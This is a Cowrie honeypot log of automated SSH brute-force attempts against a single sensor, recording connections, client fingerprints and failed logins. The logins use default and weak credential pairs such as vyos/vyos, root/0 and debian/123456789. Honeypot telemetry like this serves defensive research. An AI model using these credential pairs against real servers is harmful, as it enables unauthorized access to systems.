{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:06.039963Z","src_ip":"176.65.139.95","session":"fa1b7993496f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:07.125829Z","src_ip":"176.65.139.95","session":"fa1b7993496f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40136,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1e258a62a0c","protocol":"ssh","message":"New connection: 176.65.139.95:40136 (159.203.135.109:22) [session: c1e258a62a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:12.377536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:12.382457Z","src_ip":"176.65.139.95","session":"c1e258a62a0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:12.481977Z","src_ip":"176.65.139.95","session":"c1e258a62a0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samanalid","password":"123456","message":"login attempt [samanalid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:12.938715Z","src_ip":"176.65.139.95","session":"c1e258a62a0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:14.220409Z","src_ip":"176.65.139.95","session":"c1e258a62a0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52236,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4008df6ec3d","protocol":"ssh","message":"New connection: 176.65.139.95:52236 (159.203.135.109:22) [session: e4008df6ec3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:18.660021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:18.665255Z","src_ip":"176.65.139.95","session":"e4008df6ec3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:18.757365Z","src_ip":"176.65.139.95","session":"e4008df6ec3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:19.133729Z","src_ip":"176.65.139.95","session":"e4008df6ec3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:20.237718Z","src_ip":"176.65.139.95","session":"e4008df6ec3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52240,"dst_ip":"159.203.135.109","dst_port":22,"session":"40c481684e56","protocol":"ssh","message":"New connection: 176.65.139.95:52240 (159.203.135.109:22) [session: 40c481684e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:25.454815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:25.471659Z","src_ip":"176.65.139.95","session":"40c481684e56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:25.648409Z","src_ip":"176.65.139.95","session":"40c481684e56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:26.017630Z","src_ip":"176.65.139.95","session":"40c481684e56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:27.102211Z","src_ip":"176.65.139.95","session":"40c481684e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47608,"dst_ip":"159.203.135.109","dst_port":22,"session":"200e262a1f50","protocol":"ssh","message":"New connection: 176.65.139.95:47608 (159.203.135.109:22) [session: 200e262a1f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:31.997842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:32.016161Z","src_ip":"176.65.139.95","session":"200e262a1f50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:32.081935Z","src_ip":"176.65.139.95","session":"200e262a1f50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:32.452302Z","src_ip":"176.65.139.95","session":"200e262a1f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:33.544628Z","src_ip":"176.65.139.95","session":"200e262a1f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38054,"dst_ip":"159.203.135.109","dst_port":22,"session":"43f0aba7c56f","protocol":"ssh","message":"New connection: 176.65.139.95:38054 (159.203.135.109:22) [session: 43f0aba7c56f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:38.739839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:38.744589Z","src_ip":"176.65.139.95","session":"43f0aba7c56f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:38.827497Z","src_ip":"176.65.139.95","session":"43f0aba7c56f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"sadmin","message":"login attempt [sadmin/sadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:39.154686Z","src_ip":"176.65.139.95","session":"43f0aba7c56f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:40.431976Z","src_ip":"176.65.139.95","session":"43f0aba7c56f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43110,"dst_ip":"159.203.135.109","dst_port":22,"session":"e534efc7da9c","protocol":"ssh","message":"New connection: 159.203.92.129:43110 (159.203.135.109:22) [session: e534efc7da9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:43.566032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:43.570261Z","src_ip":"159.203.92.129","session":"e534efc7da9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:43.578420Z","src_ip":"159.203.92.129","session":"e534efc7da9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"LLL","password":"123456","message":"login attempt [LLL/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:43.596170Z","src_ip":"159.203.92.129","session":"e534efc7da9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:44.688211Z","src_ip":"159.203.92.129","session":"e534efc7da9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38064,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac2de219c0b0","protocol":"ssh","message":"New connection: 176.65.139.95:38064 (159.203.135.109:22) [session: ac2de219c0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:45.045530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:45.054845Z","src_ip":"176.65.139.95","session":"ac2de219c0b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:45.194411Z","src_ip":"176.65.139.95","session":"ac2de219c0b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:45.808589Z","src_ip":"176.65.139.95","session":"ac2de219c0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:46.911161Z","src_ip":"176.65.139.95","session":"ac2de219c0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00399875640869,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:50.114998Z","src_ip":"37.106.214.64","session":"1138d012f91b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42100,"dst_ip":"159.203.135.109","dst_port":22,"session":"03a76db6cea3","protocol":"ssh","message":"New connection: 176.65.139.95:42100 (159.203.135.109:22) [session: 03a76db6cea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:51.792859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:51.800606Z","src_ip":"176.65.139.95","session":"03a76db6cea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:51.948374Z","src_ip":"176.65.139.95","session":"03a76db6cea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:52.206889Z","src_ip":"176.65.139.95","session":"03a76db6cea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:53.302222Z","src_ip":"176.65.139.95","session":"03a76db6cea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42116,"dst_ip":"159.203.135.109","dst_port":22,"session":"08c42bce24e3","protocol":"ssh","message":"New connection: 176.65.139.95:42116 (159.203.135.109:22) [session: 08c42bce24e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:58.499005Z"}
